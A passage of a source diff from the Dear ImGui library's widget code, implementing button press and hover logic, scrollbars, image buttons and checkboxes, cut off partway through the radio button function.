+//------------------------------------------------------------------------------------------------------------------------------------------------ +// with PressedOnRelease: return-value IsItemHovered() IsItemActive() IsItemActivated() IsItemDeactivated() IsItemClicked() +// Frame N+2 (mouse button is down) - true - - - true +// Frame N+3 (mouse button is down) - true - - - - +// Frame N+6 (mouse button is released) true true - - - - +// Frame N+7 (mouse button is released) - true - - - - +//------------------------------------------------------------------------------------------------------------------------------------------------ +// with PressedOnDoubleClick: return-value IsItemHovered() IsItemActive() IsItemActivated() IsItemDeactivated() IsItemClicked() +// Frame N+0 (mouse button is down) - true - - - true +// Frame N+1 (mouse button is down) - true - - - - +// Frame N+2 (mouse button is released) - true - - - - +// Frame N+3 (mouse button is released) - true - - - - +// Frame N+4 (mouse button is down) true true true true - true +// Frame N+5 (mouse button is down) - true true - - - +// Frame N+6 (mouse button is released) - true - - true - +// Frame N+7 (mouse button is released) - true - - - - +//------------------------------------------------------------------------------------------------------------------------------------------------ +// Note that some combinations are supported, +// - PressedOnDragDropHold can generally be associated with any flag. +// - PressedOnDoubleClick can be associated by PressedOnClickRelease/PressedOnRelease, in which case the second release event won't be reported. +//------------------------------------------------------------------------------------------------------------------------------------------------ +// The behavior of the return-value changes when ImGuiButtonFlags_Repeat is set: +// Repeat+ Repeat+ Repeat+ Repeat+ +// PressedOnClickRelease PressedOnClick PressedOnRelease PressedOnDoubleClick +//------------------------------------------------------------------------------------------------------------------------------------------------- +// Frame N+0 (mouse button is down) - true - true +// ... - - - - +// Frame N + RepeatDelay true true - true +// ... - - - - +// Frame N + RepeatDelay + RepeatRate*N true true - true +//------------------------------------------------------------------------------------------------------------------------------------------------- + +bool ImGui::ButtonBehavior(const ImRect& bb, ImGuiID id, bool* out_hovered, bool* out_held, ImGuiButtonFlags flags) +{ + ImGuiContext& g = *GImGui; + ImGuiWindow* window = GetCurrentWindow(); + + if (flags & ImGuiButtonFlags_Disabled) + { + if (out_hovered) *out_hovered = false; + if (out_held) *out_held = false; + if (g.ActiveId == id) ClearActiveID(); + return false; + } + + // Default only reacts to left mouse button + if ((flags & ImGuiButtonFlags_MouseButtonMask_) == 0) + flags |= ImGuiButtonFlags_MouseButtonDefault_; + + // Default behavior requires click + release inside bounding box + if ((flags & ImGuiButtonFlags_PressedOnMask_) == 0) + flags |= ImGuiButtonFlags_PressedOnDefault_; + + ImGuiWindow* backup_hovered_window = g.HoveredWindow; + const bool flatten_hovered_children = (flags & ImGuiButtonFlags_FlattenChildren) && g.HoveredRootWindow == window; + if (flatten_hovered_children) + g.HoveredWindow = window; + +#ifdef IMGUI_ENABLE_TEST_ENGINE + if (id != 0 && window->DC.LastItemId != id) + IMGUI_TEST_ENGINE_ITEM_ADD(bb, id); +#endif + + bool pressed = false; + bool hovered = ItemHoverable(bb, id); + + // Drag source doesn't report as hovered + if (hovered && g.DragDropActive && g.DragDropPayload.SourceId == id && !(g.DragDropSourceFlags & ImGuiDragDropFlags_SourceNoDisableHover)) + hovered = false; + + // Special mode for Drag and Drop where holding button pressed for a long time while dragging another item triggers the button + if (g.DragDropActive && (flags & ImGuiButtonFlags_PressedOnDragDropHold) && !(g.DragDropSourceFlags & ImGuiDragDropFlags_SourceNoHoldToOpenOthers)) + if (IsItemHovered(ImGuiHoveredFlags_AllowWhenBlockedByActiveItem)) + { + const float DRAG_DROP_HOLD_TIMER = 0.70f; + hovered = true; + SetHoveredID(id); + if (CalcTypematicRepeatAmount(g.HoveredIdTimer + 0.0001f - g.IO.DeltaTime, g.HoveredIdTimer + 0.0001f, DRAG_DROP_HOLD_TIMER, 0.00f)) + { + pressed = true; + g.DragDropHoldJustPressedId = id; + FocusWindow(window); + } + } + + if (flatten_hovered_children) + g.HoveredWindow = backup_hovered_window; + + // AllowOverlap mode (rarely used) requires previous frame HoveredId to be null or to match. This allows using patterns where a later submitted widget overlaps a previous one. + if (hovered && (flags & ImGuiButtonFlags_AllowItemOverlap) && (g.HoveredIdPreviousFrame != id && g.HoveredIdPreviousFrame != 0)) + hovered = false; + + // Mouse handling + if (hovered) + { + if (!(flags & ImGuiButtonFlags_NoKeyModifiers) || (!g.IO.KeyCtrl && !g.IO.KeyShift && !g.IO.KeyAlt)) + { + // Poll buttons + int mouse_button_clicked = -1; + int mouse_button_released = -1; + if ((flags & ImGuiButtonFlags_MouseButtonLeft) && g.IO.MouseClicked[0]) { mouse_button_clicked = 0; } + else if ((flags & ImGuiButtonFlags_MouseButtonRight) && g.IO.MouseClicked[1]) { mouse_button_clicked = 1; } + else if ((flags & ImGuiButtonFlags_MouseButtonMiddle) && g.IO.MouseClicked[2]) { mouse_button_clicked = 2; } + if ((flags & ImGuiButtonFlags_MouseButtonLeft) && g.IO.MouseReleased[0]) { mouse_button_released = 0; } + else if ((flags & ImGuiButtonFlags_MouseButtonRight) && g.IO.MouseReleased[1]) { mouse_button_released = 1; } + else if ((flags & ImGuiButtonFlags_MouseButtonMiddle) && g.IO.MouseReleased[2]) { mouse_button_released = 2; } + + if (mouse_button_clicked != -1 && g.ActiveId != id) + { + if (flags & (ImGuiButtonFlags_PressedOnClickRelease | ImGuiButtonFlags_PressedOnClickReleaseAnywhere)) + { + SetActiveID(id, window); + g.ActiveIdMouseButton = mouse_button_clicked; + if (!(flags & ImGuiButtonFlags_NoNavFocus)) + SetFocusID(id, window); + FocusWindow(window); + } + if ((flags & ImGuiButtonFlags_PressedOnClick) || ((flags & ImGuiButtonFlags_PressedOnDoubleClick) && g.IO.MouseDoubleClicked[mouse_button_clicked])) + { + pressed = true; + if (flags & ImGuiButtonFlags_NoHoldingActiveId) + ClearActiveID(); + else + SetActiveID(id, window); // Hold on ID + g.ActiveIdMouseButton = mouse_button_clicked; + FocusWindow(window); + } + } + if ((flags & ImGuiButtonFlags_PressedOnRelease) && mouse_button_released != -1) + { + // Repeat mode trumps on release behavior + const bool has_repeated_at_least_once = (flags & ImGuiButtonFlags_Repeat) && g.IO.MouseDownDurationPrev[mouse_button_released] >= g.IO.KeyRepeatDelay; + if (!has_repeated_at_least_once) + pressed = true; + ClearActiveID(); + } + + // 'Repeat' mode acts when held regardless of _PressedOn flags (see table above). + // Relies on repeat logic of IsMouseClicked() but we may as well do it ourselves if we end up exposing finer RepeatDelay/RepeatRate settings. + if (g.ActiveId == id && (flags & ImGuiButtonFlags_Repeat)) + if (g.IO.MouseDownDuration[g.ActiveIdMouseButton] > 0.0f && IsMouseClicked(g.ActiveIdMouseButton, true)) + pressed = true; + } + + if (pressed) + g.NavDisableHighlight = true; + } + + // Gamepad/Keyboard navigation + // We report navigated item as hovered but we don't set g.HoveredId to not interfere with mouse. + if (g.NavId == id && !g.NavDisableHighlight && g.NavDisableMouseHover && (g.ActiveId == 0 || g.ActiveId == id || g.ActiveId == window->MoveId)) + if (!(flags & ImGuiButtonFlags_NoHoveredOnFocus)) + hovered = true; + if (g.NavActivateDownId == id) + { + bool nav_activated_by_code = (g.NavActivateId == id); + bool nav_activated_by_inputs = IsNavInputTest(ImGuiNavInput_Activate, (flags & ImGuiButtonFlags_Repeat) ? ImGuiInputReadMode_Repeat : ImGuiInputReadMode_Pressed); + if (nav_activated_by_code || nav_activated_by_inputs) + pressed = true; + if (nav_activated_by_code || nav_activated_by_inputs || g.ActiveId == id) + { + // Set active id so it can be queried by user via IsItemActive(), equivalent of holding the mouse button. + g.NavActivateId = id; // This is so SetActiveId assign a Nav source + SetActiveID(id, window); + if ((nav_activated_by_code || nav_activated_by_inputs) && !(flags & ImGuiButtonFlags_NoNavFocus)) + SetFocusID(id, window); + } + } + + // Process while held + bool held = false; + if (g.ActiveId == id) + { + if (g.ActiveIdSource == ImGuiInputSource_Mouse) + { + if (g.ActiveIdIsJustActivated) + g.ActiveIdClickOffset = g.IO.MousePos - bb.Min; + + const int mouse_button = g.ActiveIdMouseButton; + IM_ASSERT(mouse_button >= 0 && mouse_button < ImGuiMouseButton_COUNT); + if (g.IO.MouseDown[mouse_button]) + { + held = true; + } + else + { + bool release_in = hovered && (flags & ImGuiButtonFlags_PressedOnClickRelease) != 0; + bool release_anywhere = (flags & ImGuiButtonFlags_PressedOnClickReleaseAnywhere) != 0; + if ((release_in || release_anywhere) && !g.DragDropActive) + { + // Report as pressed when releasing the mouse (this is the most common path) + bool is_double_click_release = (flags & ImGuiButtonFlags_PressedOnDoubleClick) && g.IO.MouseDownWasDoubleClick[mouse_button]; + bool is_repeating_already = (flags & ImGuiButtonFlags_Repeat) && g.IO.MouseDownDurationPrev[mouse_button] >= g.IO.KeyRepeatDelay; // Repeat mode trumps + if (!is_double_click_release && !is_repeating_already) + pressed = true; + } + ClearActiveID(); + } + if (!(flags & ImGuiButtonFlags_NoNavFocus)) + g.NavDisableHighlight = true; + } + else if (g.ActiveIdSource == ImGuiInputSource_Nav) + { + // When activated using Nav, we hold on the ActiveID until activation button is released + if (g.NavActivateDownId != id) + ClearActiveID(); + } + if (pressed) + g.ActiveIdHasBeenPressedBefore = true; + } + + if (out_hovered) *out_hovered = hovered; + if (out_held) *out_held = held; + + return pressed; +} + +bool ImGui::ButtonEx(const char* label, const ImVec2& size_arg, ImGuiButtonFlags flags) +{ + ImGuiWindow* window = GetCurrentWindow(); + if (window->SkipItems) + return false; + + ImGuiContext& g = *GImGui; + const ImGuiStyle& style = g.Style; + const ImGuiID id = window->GetID(label); + const ImVec2 label_size = CalcTextSize(label, NULL, true); + + ImVec2 pos = window->DC.CursorPos; + if ((flags & ImGuiButtonFlags_AlignTextBaseLine) && style.FramePadding.y < window->DC.CurrLineTextBaseOffset) // Try to vertically align buttons that are smaller/have no padding so that text baseline matches (bit hacky, since it shouldn't be a flag) + pos.y += window->DC.CurrLineTextBaseOffset - style.FramePadding.y; + ImVec2 size = CalcItemSize(size_arg, label_size.x + style.FramePadding.x * 2.0f, label_size.y + style.FramePadding.y * 2.0f); + + const ImRect bb(pos, pos + size); + ItemSize(size, style.FramePadding.y); + if (!ItemAdd(bb, id)) + return false; + + if (window->DC.ItemFlags & ImGuiItemFlags_ButtonRepeat) + flags |= ImGuiButtonFlags_Repeat; + bool hovered, held; + bool pressed = ButtonBehavior(bb, id, &hovered, &held, flags); + + // Render + const ImU32 col = GetColorU32((held && hovered) ? ImGuiCol_ButtonActive : hovered ? ImGuiCol_ButtonHovered : ImGuiCol_Button); + RenderNavHighlight(bb, id); + RenderFrame(bb.Min, bb.Max, col, true, style.FrameRounding); + RenderTextClipped(bb.Min + style.FramePadding, bb.Max - style.FramePadding, label, NULL, &label_size, style.ButtonTextAlign, &bb); + + // Automatically close popups + //if (pressed && !(flags & ImGuiButtonFlags_DontClosePopups) && (window->Flags & ImGuiWindowFlags_Popup)) + // CloseCurrentPopup(); + + IMGUI_TEST_ENGINE_ITEM_INFO(id, label, window->DC.LastItemStatusFlags); + return pressed; +} + +bool ImGui::Button(const char* label, const ImVec2& size_arg) +{ + return ButtonEx(label, size_arg, ImGuiButtonFlags_None); +} + +// Small buttons fits within text without additional vertical spacing. +bool ImGui::SmallButton(const char* label) +{ + ImGuiContext& g = *GImGui; + float backup_padding_y = g.Style.FramePadding.y; + g.Style.FramePadding.y = 0.0f; + bool pressed = ButtonEx(label, ImVec2(0, 0), ImGuiButtonFlags_AlignTextBaseLine); + g.Style.FramePadding.y = backup_padding_y; + return pressed; +} + +// Tip: use ImGui::PushID()/PopID() to push indices or pointers in the ID stack. +// Then you can keep 'str_id' empty or the same for all your buttons (instead of creating a string based on a non-string id) +bool ImGui::InvisibleButton(const char* str_id, const ImVec2& size_arg, ImGuiButtonFlags flags) +{ + ImGuiWindow* window = GetCurrentWindow(); + if (window->SkipItems) + return false; + + // Cannot use zero-size for InvisibleButton(). Unlike Button() there is not way to fallback using the label size. + IM_ASSERT(size_arg.x != 0.0f && size_arg.y != 0.0f); + + const ImGuiID id = window->GetID(str_id); + ImVec2 size = CalcItemSize(size_arg, 0.0f, 0.0f); + const ImRect bb(window->DC.CursorPos, window->DC.CursorPos + size); + ItemSize(size); + if (!ItemAdd(bb, id)) + return false; + + bool hovered, held; + bool pressed = ButtonBehavior(bb, id, &hovered, &held, flags); + + return pressed; +} + +bool ImGui::ArrowButtonEx(const char* str_id, ImGuiDir dir, ImVec2 size, ImGuiButtonFlags flags) +{ + ImGuiWindow* window = GetCurrentWindow(); + if (window->SkipItems) + return false; + + ImGuiContext& g = *GImGui; + const ImGuiID id = window->GetID(str_id); + const ImRect bb(window->DC.CursorPos, window->DC.CursorPos + size); + const float default_size = GetFrameHeight(); + ItemSize(size, (size.y >= default_size) ? g.Style.FramePadding.y : -1.0f); + if (!ItemAdd(bb, id)) + return false; + + if (window->DC.ItemFlags & ImGuiItemFlags_ButtonRepeat) + flags |= ImGuiButtonFlags_Repeat; + + bool hovered, held; + bool pressed = ButtonBehavior(bb, id, &hovered, &held, flags); + + // Render + const ImU32 bg_col = GetColorU32((held && hovered) ? ImGuiCol_ButtonActive : hovered ? ImGuiCol_ButtonHovered : ImGuiCol_Button); + const ImU32 text_col = GetColorU32(ImGuiCol_Text); + RenderNavHighlight(bb, id); + RenderFrame(bb.Min, bb.Max, bg_col, true, g.Style.FrameRounding); + RenderArrow(window->DrawList, bb.Min + ImVec2(ImMax(0.0f, (size.x - g.FontSize) * 0.5f), ImMax(0.0f, (size.y - g.FontSize) * 0.5f)), text_col, dir); + + return pressed; +} + +bool ImGui::ArrowButton(const char* str_id, ImGuiDir dir) +{ + float sz = GetFrameHeight(); + return ArrowButtonEx(str_id, dir, ImVec2(sz, sz), ImGuiButtonFlags_None); +} + +// Button to close a window +bool ImGui::CloseButton(ImGuiID id, const ImVec2& pos)//, float size) +{ + ImGuiContext& g = *GImGui; + ImGuiWindow* window = g.CurrentWindow; + + // We intentionally allow interaction when clipped so that a mechanical Alt,Right,Validate sequence close a window. + // (this isn't the regular behavior of buttons, but it doesn't affect the user much because navigation tends to keep items visible). + const ImRect bb(pos, pos + ImVec2(g.FontSize, g.FontSize) + g.Style.FramePadding * 2.0f); + bool is_clipped = !ItemAdd(bb, id); + + bool hovered, held; + bool pressed = ButtonBehavior(bb, id, &hovered, &held); + if (is_clipped) + return pressed; + + // Render + ImU32 col = GetColorU32(held ? ImGuiCol_ButtonActive : ImGuiCol_ButtonHovered); + ImVec2 center = bb.GetCenter(); + if (hovered) + window->DrawList->AddCircleFilled(center, ImMax(2.0f, g.FontSize * 0.5f + 1.0f), col, 12); + + float cross_extent = g.FontSize * 0.5f * 0.7071f - 1.0f; + ImU32 cross_col = GetColorU32(ImGuiCol_Text); + center -= ImVec2(0.5f, 0.5f); + window->DrawList->AddLine(center + ImVec2(+cross_extent, +cross_extent), center + ImVec2(-cross_extent, -cross_extent), cross_col, 1.0f); + window->DrawList->AddLine(center + ImVec2(+cross_extent, -cross_extent), center + ImVec2(-cross_extent, +cross_extent), cross_col, 1.0f); + + return pressed; +} + +bool ImGui::CollapseButton(ImGuiID id, const ImVec2& pos) +{ + ImGuiContext& g = *GImGui; + ImGuiWindow* window = g.CurrentWindow; + + ImRect bb(pos, pos + ImVec2(g.FontSize, g.FontSize) + g.Style.FramePadding * 2.0f); + ItemAdd(bb, id); + bool hovered, held; + bool pressed = ButtonBehavior(bb, id, &hovered, &held, ImGuiButtonFlags_None); + + // Render + ImU32 bg_col = GetColorU32((held && hovered) ? ImGuiCol_ButtonActive : hovered ? ImGuiCol_ButtonHovered : ImGuiCol_Button); + ImU32 text_col = GetColorU32(ImGuiCol_Text); + ImVec2 center = bb.GetCenter(); + if (hovered || held) + window->DrawList->AddCircleFilled(center/*+ ImVec2(0.0f, -0.5f)*/, g.FontSize * 0.5f + 1.0f, bg_col, 12); + RenderArrow(window->DrawList, bb.Min + g.Style.FramePadding, text_col, window->Collapsed ? ImGuiDir_Right : ImGuiDir_Down, 1.0f); + + // Switch to moving the window after mouse is moved beyond the initial drag threshold + if (IsItemActive() && IsMouseDragging(0)) + StartMouseMovingWindow(window); + + return pressed; +} + +ImGuiID ImGui::GetWindowScrollbarID(ImGuiWindow* window, ImGuiAxis axis) +{ + return window->GetIDNoKeepAlive(axis == ImGuiAxis_X ? "#SCROLLX" : "#SCROLLY"); +} + +// Return scrollbar rectangle, must only be called for corresponding axis if window->ScrollbarX/Y is set. +ImRect ImGui::GetWindowScrollbarRect(ImGuiWindow* window, ImGuiAxis axis) +{ + const ImRect outer_rect = window->Rect(); + const ImRect inner_rect = window->InnerRect; + const float border_size = window->WindowBorderSize; + const float scrollbar_size = window->ScrollbarSizes[axis ^ 1]; // (ScrollbarSizes.x = width of Y scrollbar; ScrollbarSizes.y = height of X scrollbar) + IM_ASSERT(scrollbar_size > 0.0f); + if (axis == ImGuiAxis_X) + return ImRect(inner_rect.Min.x, ImMax(outer_rect.Min.y, outer_rect.Max.y - border_size - scrollbar_size), inner_rect.Max.x, outer_rect.Max.y); + else + return ImRect(ImMax(outer_rect.Min.x, outer_rect.Max.x - border_size - scrollbar_size), inner_rect.Min.y, outer_rect.Max.x, inner_rect.Max.y); +} + +void ImGui::Scrollbar(ImGuiAxis axis) +{ + ImGuiContext& g = *GImGui; + ImGuiWindow* window = g.CurrentWindow; + + const ImGuiID id = GetWindowScrollbarID(window, axis); + KeepAliveID(id); + + // Calculate scrollbar bounding box + ImRect bb = GetWindowScrollbarRect(window, axis); + ImDrawCornerFlags rounding_corners = 0; + if (axis == ImGuiAxis_X) + { + rounding_corners |= ImDrawCornerFlags_BotLeft; + if (!window->ScrollbarY) + rounding_corners |= ImDrawCornerFlags_BotRight; + } + else + { + if ((window->Flags & ImGuiWindowFlags_NoTitleBar) && !(window->Flags & ImGuiWindowFlags_MenuBar)) + rounding_corners |= ImDrawCornerFlags_TopRight; + if (!window->ScrollbarX) + rounding_corners |= ImDrawCornerFlags_BotRight; + } + float size_avail = window->InnerRect.Max[axis] - window->InnerRect.Min[axis]; + float size_contents = window->ContentSize[axis] + window->WindowPadding[axis] * 2.0f; + ScrollbarEx(bb, id, axis, &window->Scroll[axis], size_avail, size_contents, rounding_corners); +} + +// Vertical/Horizontal scrollbar +// The entire piece of code below is rather confusing because: +// - We handle absolute seeking (when first clicking outside the grab) and relative manipulation (afterward or when clicking inside the grab) +// - We store values as normalized ratio and in a form that allows the window content to change while we are holding on a scrollbar +// - We handle both horizontal and vertical scrollbars, which makes the terminology not ideal. +// Still, the code should probably be made simpler.. +bool ImGui::ScrollbarEx(const ImRect& bb_frame, ImGuiID id, ImGuiAxis axis, float* p_scroll_v, float size_avail_v, float size_contents_v, ImDrawCornerFlags rounding_corners) +{ + ImGuiContext& g = *GImGui; + ImGuiWindow* window = g.CurrentWindow; + if (window->SkipItems) + return false; + + const float bb_frame_width = bb_frame.GetWidth(); + const float bb_frame_height = bb_frame.GetHeight(); + if (bb_frame_width <= 0.0f || bb_frame_height <= 0.0f) + return false; + + // When we are too small, start hiding and disabling the grab (this reduce visual noise on very small window and facilitate using the window resize grab) + float alpha = 1.0f; + if ((axis == ImGuiAxis_Y) && bb_frame_height < g.FontSize + g.Style.FramePadding.y * 2.0f) + alpha = ImSaturate((bb_frame_height - g.FontSize) / (g.Style.FramePadding.y * 2.0f)); + if (alpha <= 0.0f) + return false; + + const ImGuiStyle& style = g.Style; + const bool allow_interaction = (alpha >= 1.0f); + + ImRect bb = bb_frame; + bb.Expand(ImVec2(-ImClamp(IM_FLOOR((bb_frame_width - 2.0f) * 0.5f), 0.0f, 3.0f), -ImClamp(IM_FLOOR((bb_frame_height - 2.0f) * 0.5f), 0.0f, 3.0f))); + + // V denote the main, longer axis of the scrollbar (= height for a vertical scrollbar) + const float scrollbar_size_v = (axis == ImGuiAxis_X) ? bb.GetWidth() : bb.GetHeight(); + + // Calculate the height of our grabbable box. It generally represent the amount visible (vs the total scrollable amount) + // But we maintain a minimum size in pixel to allow for the user to still aim inside. + IM_ASSERT(ImMax(size_contents_v, size_avail_v) > 0.0f); // Adding this assert to check if the ImMax(XXX,1.0f) is still needed. PLEASE CONTACT ME if this triggers. + const float win_size_v = ImMax(ImMax(size_contents_v, size_avail_v), 1.0f); + const float grab_h_pixels = ImClamp(scrollbar_size_v * (size_avail_v / win_size_v), style.GrabMinSize, scrollbar_size_v); + const float grab_h_norm = grab_h_pixels / scrollbar_size_v; + + // Handle input right away. None of the code of Begin() is relying on scrolling position before calling Scrollbar(). + bool held = false; + bool hovered = false; + ButtonBehavior(bb, id, &hovered, &held, ImGuiButtonFlags_NoNavFocus); + + float scroll_max = ImMax(1.0f, size_contents_v - size_avail_v); + float scroll_ratio = ImSaturate(*p_scroll_v / scroll_max); + float grab_v_norm = scroll_ratio * (scrollbar_size_v - grab_h_pixels) / scrollbar_size_v; // Grab position in normalized space + if (held && allow_interaction && grab_h_norm < 1.0f) + { + float scrollbar_pos_v = bb.Min[axis]; + float mouse_pos_v = g.IO.MousePos[axis]; + + // Click position in scrollbar normalized space (0.0f->1.0f) + const float clicked_v_norm = ImSaturate((mouse_pos_v - scrollbar_pos_v) / scrollbar_size_v); + SetHoveredID(id); + + bool seek_absolute = false; + if (g.ActiveIdIsJustActivated) + { + // On initial click calculate the distance between mouse and the center of the grab + seek_absolute = (clicked_v_norm < grab_v_norm || clicked_v_norm > grab_v_norm + grab_h_norm); + if (seek_absolute) + g.ScrollbarClickDeltaToGrabCenter = 0.0f; + else + g.ScrollbarClickDeltaToGrabCenter = clicked_v_norm - grab_v_norm - grab_h_norm * 0.5f; + } + + // Apply scroll (p_scroll_v will generally point on one member of window->Scroll) + // It is ok to modify Scroll here because we are being called in Begin() after the calculation of ContentSize and before setting up our starting position + const float scroll_v_norm = ImSaturate((clicked_v_norm - g.ScrollbarClickDeltaToGrabCenter - grab_h_norm * 0.5f) / (1.0f - grab_h_norm)); + *p_scroll_v = IM_ROUND(scroll_v_norm * scroll_max);//(win_size_contents_v - win_size_v)); + + // Update values for rendering + scroll_ratio = ImSaturate(*p_scroll_v / scroll_max); + grab_v_norm = scroll_ratio * (scrollbar_size_v - grab_h_pixels) / scrollbar_size_v; + + // Update distance to grab now that we have seeked and saturated + if (seek_absolute) + g.ScrollbarClickDeltaToGrabCenter = clicked_v_norm - grab_v_norm - grab_h_norm * 0.5f; + } + + // Render + const ImU32 bg_col = GetColorU32(ImGuiCol_ScrollbarBg); + const ImU32 grab_col = GetColorU32(held ? ImGuiCol_ScrollbarGrabActive : hovered ? ImGuiCol_ScrollbarGrabHovered : ImGuiCol_ScrollbarGrab, alpha); + window->DrawList->AddRectFilled(bb_frame.Min, bb_frame.Max, bg_col, window->WindowRounding, rounding_corners); + ImRect grab_rect; + if (axis == ImGuiAxis_X) + grab_rect = ImRect(ImLerp(bb.Min.x, bb.Max.x, grab_v_norm), bb.Min.y, ImLerp(bb.Min.x, bb.Max.x, grab_v_norm) + grab_h_pixels, bb.Max.y); + else + grab_rect = ImRect(bb.Min.x, ImLerp(bb.Min.y, bb.Max.y, grab_v_norm), bb.Max.x, ImLerp(bb.Min.y, bb.Max.y, grab_v_norm) + grab_h_pixels); + window->DrawList->AddRectFilled(grab_rect.Min, grab_rect.Max, grab_col, style.ScrollbarRounding); + + return held; +} + +void ImGui::Image(ImTextureID user_texture_id, const ImVec2& size, const ImVec2& uv0, const ImVec2& uv1, const ImVec4& tint_col, const ImVec4& border_col) +{ + ImGuiWindow* window = GetCurrentWindow(); + if (window->SkipItems) + return; + + ImRect bb(window->DC.CursorPos, window->DC.CursorPos + size); + if (border_col.w > 0.0f) + bb.Max += ImVec2(2, 2); + ItemSize(bb); + if (!ItemAdd(bb, 0)) + return; + + if (border_col.w > 0.0f) + { + window->DrawList->AddRect(bb.Min, bb.Max, GetColorU32(border_col), 0.0f); + window->DrawList->AddImage(user_texture_id, bb.Min + ImVec2(1, 1), bb.Max - ImVec2(1, 1), uv0, uv1, GetColorU32(tint_col)); + } + else + { + window->DrawList->AddImage(user_texture_id, bb.Min, bb.Max, uv0, uv1, GetColorU32(tint_col)); + } +} + +// ImageButton() is flawed as 'id' is always derived from 'texture_id' (see #2464 #1390) +// We provide this internal helper to write your own variant while we figure out how to redesign the public ImageButton() API. +bool ImGui::ImageButtonEx(ImGuiID id, ImTextureID texture_id, const ImVec2& size, const ImVec2& uv0, const ImVec2& uv1, const ImVec2& padding, const ImVec4& bg_col, const ImVec4& tint_col) +{ + ImGuiContext& g = *GImGui; + ImGuiWindow* window = GetCurrentWindow(); + if (window->SkipItems) + return false; + + const ImRect bb(window->DC.CursorPos, window->DC.CursorPos + size + padding * 2); + ItemSize(bb); + if (!ItemAdd(bb, id)) + return false; + + bool hovered, held; + bool pressed = ButtonBehavior(bb, id, &hovered, &held); + + // Render + const ImU32 col = GetColorU32((held && hovered) ? ImGuiCol_ButtonActive : hovered ? ImGuiCol_ButtonHovered : ImGuiCol_Button); + RenderNavHighlight(bb, id); + RenderFrame(bb.Min, bb.Max, col, true, ImClamp((float)ImMin(padding.x, padding.y), 0.0f, g.Style.FrameRounding)); + if (bg_col.w > 0.0f) + window->DrawList->AddRectFilled(bb.Min + padding, bb.Max - padding, GetColorU32(bg_col)); + window->DrawList->AddImage(texture_id, bb.Min + padding, bb.Max - padding, uv0, uv1, GetColorU32(tint_col)); + + return pressed; +} + +// frame_padding < 0: uses FramePadding from style (default) +// frame_padding = 0: no framing +// frame_padding > 0: set framing size +bool ImGui::ImageButton(ImTextureID user_texture_id, const ImVec2& size, const ImVec2& uv0, const ImVec2& uv1, int frame_padding, const ImVec4& bg_col, const ImVec4& tint_col) +{ + ImGuiContext& g = *GImGui; + ImGuiWindow* window = g.CurrentWindow; + if (window->SkipItems) + return false; + + // Default to using texture ID as ID. User can still push string/integer prefixes. + PushID((void*)(intptr_t)user_texture_id); + const ImGuiID id = window->GetID("#image"); + PopID(); + + const ImVec2 padding = (frame_padding >= 0) ? ImVec2((float)frame_padding, (float)frame_padding) : g.Style.FramePadding; + return ImageButtonEx(id, user_texture_id, size, uv0, uv1, padding, bg_col, tint_col); +} + +bool ImGui::Checkbox(const char* label, bool* v) +{ + ImGuiWindow* window = GetCurrentWindow(); + if (window->SkipItems) + return false; + + ImGuiContext& g = *GImGui; + const ImGuiStyle& style = g.Style; + const ImGuiID id = window->GetID(label); + const ImVec2 label_size = CalcTextSize(label, NULL, true); + + const float square_sz = GetFrameHeight(); + const ImVec2 pos = window->DC.CursorPos; + const ImRect total_bb(pos, pos + ImVec2(square_sz + (label_size.x > 0.0f ? style.ItemInnerSpacing.x + label_size.x : 0.0f), label_size.y + style.FramePadding.y * 2.0f)); + ItemSize(total_bb, style.FramePadding.y); + if (!ItemAdd(total_bb, id)) + { + IMGUI_TEST_ENGINE_ITEM_INFO(id, label, window->DC.ItemFlags | ImGuiItemStatusFlags_Checkable | (*v ? ImGuiItemStatusFlags_Checked : 0)); + return false; + } + + bool hovered, held; + bool pressed = ButtonBehavior(total_bb, id, &hovered, &held); + if (pressed) + { + *v = !(*v); + MarkItemEdited(id); + } + + const ImRect check_bb(pos, pos + ImVec2(square_sz, square_sz)); + RenderNavHighlight(total_bb, id); + RenderFrame(check_bb.Min, check_bb.Max, GetColorU32((held && hovered) ? ImGuiCol_FrameBgActive : hovered ? ImGuiCol_FrameBgHovered : ImGuiCol_FrameBg), true, style.FrameRounding); + ImU32 check_col = GetColorU32(ImGuiCol_CheckMark); + bool mixed_value = (window->DC.ItemFlags & ImGuiItemFlags_MixedValue) != 0; + if (mixed_value) + { + // Undocumented tristate/mixed/indeterminate checkbox (#2644) + // This may seem awkwardly designed because the aim is to make ImGuiItemFlags_MixedValue supported by all widgets (not just checkbox) + ImVec2 pad(ImMax(1.0f, IM_FLOOR(square_sz / 3.6f)), ImMax(1.0f, IM_FLOOR(square_sz / 3.6f))); + window->DrawList->AddRectFilled(check_bb.Min + pad, check_bb.Max - pad, check_col, style.FrameRounding); + } + else if (*v) + { + const float pad = ImMax(1.0f, IM_FLOOR(square_sz / 6.0f)); + RenderCheckMark(window->DrawList, check_bb.Min + ImVec2(pad, pad), check_col, square_sz - pad * 2.0f); + } + + if (g.LogEnabled) + LogRenderedText(&total_bb.Min, mixed_value ? "[~]" : *v ? "[x]" : "[ ]"); + if (label_size.x > 0.0f) + RenderText(ImVec2(check_bb.Max.x + style.ItemInnerSpacing.x, check_bb.Min.y + style.FramePadding.y), label); + + IMGUI_TEST_ENGINE_ITEM_INFO(id, label, window->DC.ItemFlags | ImGuiItemStatusFlags_Checkable | (*v ? ImGuiItemStatusFlags_Checked : 0)); + return pressed; +} + +template +bool ImGui::CheckboxFlagsT(const char* label, T* flags, T flags_value) +{ + bool all_on = (*flags & flags_value) == flags_value; + bool any_on = (*flags & flags_value) != 0; + bool pressed; + if (!all_on && any_on) + { + ImGuiWindow* window = GetCurrentWindow(); + ImGuiItemFlags backup_item_flags = window->DC.ItemFlags; + window->DC.ItemFlags |= ImGuiItemFlags_MixedValue; + pressed = Checkbox(label, &all_on); + window->DC.ItemFlags = backup_item_flags; + } + else + { + pressed = Checkbox(label, &all_on); + + } + if (pressed) + { + if (all_on) + *flags |= flags_value; + else + *flags &= ~flags_value; + } + return pressed; +} + +bool ImGui::CheckboxFlags(const char* label, int* flags, int flags_value) +{ + return CheckboxFlagsT(label, flags, flags_value); +} + +bool ImGui::CheckboxFlags(const char* label, unsigned int* flags, unsigned int flags_value) +{ + return CheckboxFlagsT(label, flags, flags_value); +} + +bool ImGui::RadioButton(const char* label, bool active) +{ + ImGuiWindow* window = GetCurrentWindow(); + if (window->SkipItems) + return false; + + ImGuiContext& g = *GImGui; + const ImGuiStyle& style = g.Style; + const ImGuiID id = window->GetID(label); + const ImVec2 label_size = CalcTextSize(label, NULL, true); + + const float square_sz = GetFrameHeight(); + const ImVec2 pos = window->DC.CursorPos; + const ImRect check_bb(pos, pos + ImVec2(square_sz, square_sz)); + const ImRect total_bb(pos, pos + 